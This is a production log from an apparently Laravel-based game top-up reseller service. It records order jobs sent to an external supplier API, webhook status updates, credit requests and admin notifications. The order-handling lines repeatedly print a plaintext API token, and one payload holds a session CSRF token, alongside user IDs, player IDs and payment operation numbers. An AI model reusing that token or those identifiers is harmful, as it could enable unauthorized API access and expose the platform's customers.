[2026-03-24 15:04:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8JK-1774353839","operation_id":163719,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":1,"total_refunds":0} 
[2026-03-24 15:04:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8JK-1774353839","operation_id":163719,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 15:04:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8JK-1774353839","operation_id":163719,"processed":1,"errors":0} 
[2026-03-24 15:04:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8JK-1774353839","operation_id":163719,"processed":1,"errors":0} 
[2026-03-24 15:04:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"8G139A5Nb8kRubiiLQTyjJ7w6buCn3wm","execution_time":"2026-03-24 15:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-J8JK-1774353839","operation_id":163719} 
[2026-03-24 15:04:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 15:04:08] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-J8JK-1774353839","status":"completed","notes":[],"codes":["RBHT6PN63M5YAMAN"]}} 
[2026-03-24 15:04:08] production.INFO: Processed webhook data (normalized) {"id":"ORD-J8JK-1774353839","status":"completed","codes":["RBHT6PN63M5YAMAN"],"notes":[]} 
[2026-03-24 15:04:08] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:04:08] production.ERROR: Order not found or already processed. External ID: ORD-J8JK-1774353839  
[2026-03-24 15:04:08] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-J8JK-1774353839","status":"completed","codes_count":1} 
[2026-03-24 15:04:57] production.INFO: SendAcceptReject: Notification queued {"user_id":675,"notification_type":"request_approved","reference_id":18632} 
[2026-03-24 15:04:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 675  
[2026-03-24 15:05:01] production.INFO: Creating credit request {"payload":{"method_id":"16","amount":"5000.0","mainamount":"5000","operation_number":"111111111111","currency_id":"2"},"user_id":52} 
[2026-03-24 15:05:01] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"2500.0","mainamount":"2500","operation_number":"157668955","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpsua2shq06u5ueAWEQoB"}},"user_id":529} 
[2026-03-24 15:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 15:05:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 15:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 15:05:04] production.INFO: async() رجع: true  
[2026-03-24 15:05:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 15:05:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 15:05:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 15:05:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 15:05:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 15:05:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 15:05:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 15:05:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 15:05:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 15:05:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 15:05:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 15:05:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 15:05:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 15:05:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 15:05:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 15:05:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 15:05:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 15:05:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 15:05:06] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 15:05:06] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18634,"user_id":52,"amount":5000.0,"admins_notified":7} 
[2026-03-24 15:05:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 15:05:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 15:05:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 15:05:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 15:05:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 15:05:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 15:05:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 15:05:06] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 15:05:06] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18635,"user_id":529,"amount":2500.0,"admins_notified":7} 
[2026-03-24 15:05:14] production.INFO: SendAcceptReject: Notification queued {"user_id":1767,"notification_type":"request_approved","reference_id":18633} 
[2026-03-24 15:05:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1767  
[2026-03-24 15:05:41] production.INFO: Constructing job for order: 178799  
[2026-03-24 15:05:42] production.INFO: Handling job for order: 178799  
[2026-03-24 15:05:42] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:05:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:05:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=11000&uuid=f840631a-3d20-4a07-9432-e2a489c966c0&Player_ID=575819287  
[2026-03-24 15:05:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=11000&uuid=f840631a-3d20-4a07-9432-e2a489c966c0&Player_ID=575819287","has_body":false} 
[2026-03-24 15:05:43] production.INFO: Operation sent successfully {"operation_id":163720,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-FRZ5S-1774353943","amount":1.1165825000000000333244543071486987173557281494140625,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 15:05:43"}},"processed_data":{"order_number":"ORD-FRZ5S-1774353943","amount":1.1165825000000000333244543071486987173557281494140625,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 15:05:56] production.INFO: Constructing job for order: 178800  
[2026-03-24 15:05:58] production.INFO: Handling job for order: 178800  
[2026-03-24 15:05:58] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:05:58] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:05:58] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/58/params?qty=1&uuid=d218dbd0-2035-4618-bdb3-0a429c392051&Player_ID=5239350860  
[2026-03-24 15:05:58] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/58/params?qty=1&uuid=d218dbd0-2035-4618-bdb3-0a429c392051&Player_ID=5239350860","has_body":false} 
[2026-03-24 15:05:59] production.INFO: Operation sent successfully {"operation_id":163721,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-psi-1774353958","amount":88.7399999999999948840923025272786617279052734375,"status":"processing","product":"6000+2100UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:05:59"}},"processed_data":{"order_number":"ORD-psi-1774353958","amount":88.7399999999999948840923025272786617279052734375,"status":"processing","product":"6000+2100UC","game":"PUBG"}} 
[2026-03-24 15:06:02] production.INFO: SendAcceptReject: Notification queued {"user_id":529,"notification_type":"request_approved","reference_id":18635} 
[2026-03-24 15:06:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"JKNvG05rbZCGLaRQwrTmb24MxrmpIxQm","execution_time":"2026-03-24 15:06:02"} 
[2026-03-24 15:06:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"JKNvG05rbZCGLaRQwrTmb24MxrmpIxQm","execution_time":"2026-03-24 15:06:02","total_operations":3,"sites_count":2} 
[2026-03-24 15:06:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"JKNvG05rbZCGLaRQwrTmb24MxrmpIxQm","execution_time":"2026-03-24 15:06:02","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-l3ngC-1774353257"]} 
[2026-03-24 15:06:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"JKNvG05rbZCGLaRQwrTmb24MxrmpIxQm","execution_time":"2026-03-24 15:06:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 15:06:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"JKNvG05rbZCGLaRQwrTmb24MxrmpIxQm","execution_time":"2026-03-24 15:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 15:06:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JKNvG05rbZCGLaRQwrTmb24MxrmpIxQm","execution_time":"2026-03-24 15:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:06:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"JKNvG05rbZCGLaRQwrTmb24MxrmpIxQm","execution_time":"2026-03-24 15:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 15:06:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"JKNvG05rbZCGLaRQwrTmb24MxrmpIxQm","execution_time":"2026-03-24 15:06:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"errors":0} 
[2026-03-24 15:06:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"JKNvG05rbZCGLaRQwrTmb24MxrmpIxQm","execution_time":"2026-03-24 15:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"orders_count":2,"order_ids":["ORD-FRZ5S-1774353943","ORD-psi-1774353958"]} 
[2026-03-24 15:06:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"JKNvG05rbZCGLaRQwrTmb24MxrmpIxQm","execution_time":"2026-03-24 15:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:06:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"JKNvG05rbZCGLaRQwrTmb24MxrmpIxQm","execution_time":"2026-03-24 15:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"orders_count":2} 
[2026-03-24 15:06:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JKNvG05rbZCGLaRQwrTmb24MxrmpIxQm","execution_time":"2026-03-24 15:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-FRZ5S-1774353943","operation_id":163720} 
[2026-03-24 15:06:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JKNvG05rbZCGLaRQwrTmb24MxrmpIxQm","execution_time":"2026-03-24 15:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psi-1774353958","operation_id":163721} 
[2026-03-24 15:06:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"JKNvG05rbZCGLaRQwrTmb24MxrmpIxQm","execution_time":"2026-03-24 15:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psi-1774353958","operation_id":163721,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 15:06:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"JKNvG05rbZCGLaRQwrTmb24MxrmpIxQm","execution_time":"2026-03-24 15:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psi-1774353958","operation_id":163721,"processed":0,"errors":0} 
[2026-03-24 15:06:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"JKNvG05rbZCGLaRQwrTmb24MxrmpIxQm","execution_time":"2026-03-24 15:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psi-1774353958","operation_id":163721} 
[2026-03-24 15:06:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 529  
[2026-03-24 15:06:08] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-FRZ5S-1774353943","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 15:06:08] production.INFO: Processed webhook data (normalized) {"id":"ORD-FRZ5S-1774353943","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 15:06:08] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:06:08] production.INFO: SendAcceptReject: Notification queued {"user_id":834,"notification_type":"order_approved","reference_id":178799} 
[2026-03-24 15:06:08] production.INFO: Order updated successfully. Order ID: 178799, Status: completed  
[2026-03-24 15:06:08] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-FRZ5S-1774353943","status":"completed","codes_count":0} 
[2026-03-24 15:06:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 834  
[2026-03-24 15:06:11] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-psi-1774353958","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:06:11] production.INFO: Processed webhook data (normalized) {"id":"ORD-psi-1774353958","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:06:11] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:06:11] production.INFO: SendAcceptReject: Notification queued {"user_id":1767,"notification_type":"order_approved","reference_id":178800} 
[2026-03-24 15:06:11] production.INFO: Order updated successfully. Order ID: 178800, Status: completed  
[2026-03-24 15:06:11] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-psi-1774353958","status":"completed","codes_count":0} 
[2026-03-24 15:06:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1767  
[2026-03-24 15:06:30] production.INFO: Creating credit request {"payload":{"_token":"q00Uftu7mCkRihHRQWGDGiQhnoXXMtzK3yYagFfF","amount":"1110","method_id":"13","mainamount":"1110","operation_number":"158311969","note":null,"notif":{"Illuminate\\Http\\UploadedFile":"/tmp/php7kso5f153inf5bTKtm7"}},"user_id":44} 
[2026-03-24 15:06:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 15:06:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 15:06:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 15:06:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 15:06:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 15:06:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 15:06:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 15:06:32] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 15:06:32] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18636,"user_id":44,"amount":1110.0,"admins_notified":7} 
[2026-03-24 15:07:01] production.INFO: Constructing job for order: 178801  
[2026-03-24 15:07:02] production.INFO: Handling job for order: 178801  
[2026-03-24 15:07:02] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:07:02] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:07:02] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=5f985b9e-09d8-47e1-aa5d-b82df7c7d4de&Player_ID=52350180689  
[2026-03-24 15:07:02] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=5f985b9e-09d8-47e1-aa5d-b82df7c7d4de&Player_ID=52350180689","has_body":false} 
[2026-03-24 15:07:03] production.INFO: Operation sent successfully {"operation_id":163722,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Q5yTmf-1774354023","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:07:03"}},"processed_data":{"order_number":"ORD-Q5yTmf-1774354023","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG"}} 
[2026-03-24 15:07:11] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Q5yTmf-1774354023","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:07:11] production.INFO: Processed webhook data (normalized) {"id":"ORD-Q5yTmf-1774354023","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:07:11] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:07:11] production.INFO: SendAcceptReject: Notification queued {"user_id":33,"notification_type":"order_approved","reference_id":178801} 
[2026-03-24 15:07:11] production.INFO: Order updated successfully. Order ID: 178801, Status: completed  
[2026-03-24 15:07:11] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Q5yTmf-1774354023","status":"completed","codes_count":0} 
[2026-03-24 15:07:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 33  
[2026-03-24 15:07:16] production.INFO: Constructing job for order: 178802  
[2026-03-24 15:07:18] production.INFO: Handling job for order: 178802  
[2026-03-24 15:07:18] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:07:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:07:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=b7aee57e-f20c-479b-ac8e-1d5c7b42e355&Player_ID=11375277393  
[2026-03-24 15:07:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=b7aee57e-f20c-479b-ac8e-1d5c7b42e355&Player_ID=11375277393","has_body":false} 
[2026-03-24 15:07:19] production.INFO: Operation sent successfully {"operation_id":163723,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ryOH-1774354039","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 15:07:19"}},"processed_data":{"order_number":"ORD-ryOH-1774354039","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 15:07:37] production.INFO: Constructing job for order: 178804  
[2026-03-24 15:07:40] production.INFO: Handling job for order: 178804  
[2026-03-24 15:07:40] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:07:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:07:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=1ecae5de-d1db-405e-9dec-5d26c514af83&Player_ID=52336735627  
[2026-03-24 15:07:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=1ecae5de-d1db-405e-9dec-5d26c514af83&Player_ID=52336735627","has_body":false} 
[2026-03-24 15:07:41] production.INFO: Operation sent successfully {"operation_id":163724,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-DxtCgbmW-1774354060","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:07:41"}},"processed_data":{"order_number":"ORD-DxtCgbmW-1774354060","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 15:07:53] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-DxtCgbmW-1774354060","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:07:53] production.INFO: Processed webhook data (normalized) {"id":"ORD-DxtCgbmW-1774354060","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:07:53] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:07:53] production.INFO: SendAcceptReject: Notification queued {"user_id":33,"notification_type":"order_approved","reference_id":178804} 
[2026-03-24 15:07:53] production.INFO: Order updated successfully. Order ID: 178804, Status: completed  
[2026-03-24 15:07:53] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-DxtCgbmW-1774354060","status":"completed","codes_count":0} 
[2026-03-24 15:07:53] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ryOH-1774354039","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:07:53] production.INFO: Processed webhook data (normalized) {"id":"ORD-ryOH-1774354039","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:07:53] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:07:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 33  
[2026-03-24 15:07:53] production.INFO: SendAcceptReject: Notification queued {"user_id":33,"notification_type":"order_approved","reference_id":178802} 
[2026-03-24 15:07:53] production.INFO: Order updated successfully. Order ID: 178802, Status: completed  
[2026-03-24 15:07:53] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ryOH-1774354039","status":"completed","codes_count":0} 
[2026-03-24 15:07:53] production.INFO: Constructing job for order: 178805  
[2026-03-24 15:07:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 33  
[2026-03-24 15:07:56] production.INFO: Handling job for order: 178805  
[2026-03-24 15:07:56] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:07:56] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:07:56] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=765a7a60-67d1-43f2-8543-521a3fc3e23c&Player_ID=52001516487  
[2026-03-24 15:07:56] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=765a7a60-67d1-43f2-8543-521a3fc3e23c&Player_ID=52001516487","has_body":false} 
[2026-03-24 15:07:57] production.INFO: Operation sent successfully {"operation_id":163725,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-TubxCu-1774354076","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:07:57"}},"processed_data":{"order_number":"ORD-TubxCu-1774354076","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 15:08:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ljJWLCWG5E8bJxsSMdGA3Oa2zNzIZzjC","execution_time":"2026-03-24 15:08:03"} 
[2026-03-24 15:08:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ljJWLCWG5E8bJxsSMdGA3Oa2zNzIZzjC","execution_time":"2026-03-24 15:08:03","total_operations":2,"sites_count":2} 
[2026-03-24 15:08:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ljJWLCWG5E8bJxsSMdGA3Oa2zNzIZzjC","execution_time":"2026-03-24 15:08:03","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-l3ngC-1774353257"]} 
[2026-03-24 15:08:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ljJWLCWG5E8bJxsSMdGA3Oa2zNzIZzjC","execution_time":"2026-03-24 15:08:03","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 15:08:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ljJWLCWG5E8bJxsSMdGA3Oa2zNzIZzjC","execution_time":"2026-03-24 15:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 15:08:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ljJWLCWG5E8bJxsSMdGA3Oa2zNzIZzjC","execution_time":"2026-03-24 15:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:08:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ljJWLCWG5E8bJxsSMdGA3Oa2zNzIZzjC","execution_time":"2026-03-24 15:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 15:08:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ljJWLCWG5E8bJxsSMdGA3Oa2zNzIZzjC","execution_time":"2026-03-24 15:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"errors":0} 
[2026-03-24 15:08:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ljJWLCWG5E8bJxsSMdGA3Oa2zNzIZzjC","execution_time":"2026-03-24 15:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"orders_count":1,"order_ids":["ORD-TubxCu-1774354076"]} 
[2026-03-24 15:08:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ljJWLCWG5E8bJxsSMdGA3Oa2zNzIZzjC","execution_time":"2026-03-24 15:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:08:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ljJWLCWG5E8bJxsSMdGA3Oa2zNzIZzjC","execution_time":"2026-03-24 15:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"orders_count":1} 
[2026-03-24 15:08:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ljJWLCWG5E8bJxsSMdGA3Oa2zNzIZzjC","execution_time":"2026-03-24 15:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TubxCu-1774354076","operation_id":163725} 
[2026-03-24 15:08:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ljJWLCWG5E8bJxsSMdGA3Oa2zNzIZzjC","execution_time":"2026-03-24 15:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TubxCu-1774354076","operation_id":163725,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 15:08:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ljJWLCWG5E8bJxsSMdGA3Oa2zNzIZzjC","execution_time":"2026-03-24 15:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TubxCu-1774354076","operation_id":163725,"processed":0,"errors":0} 
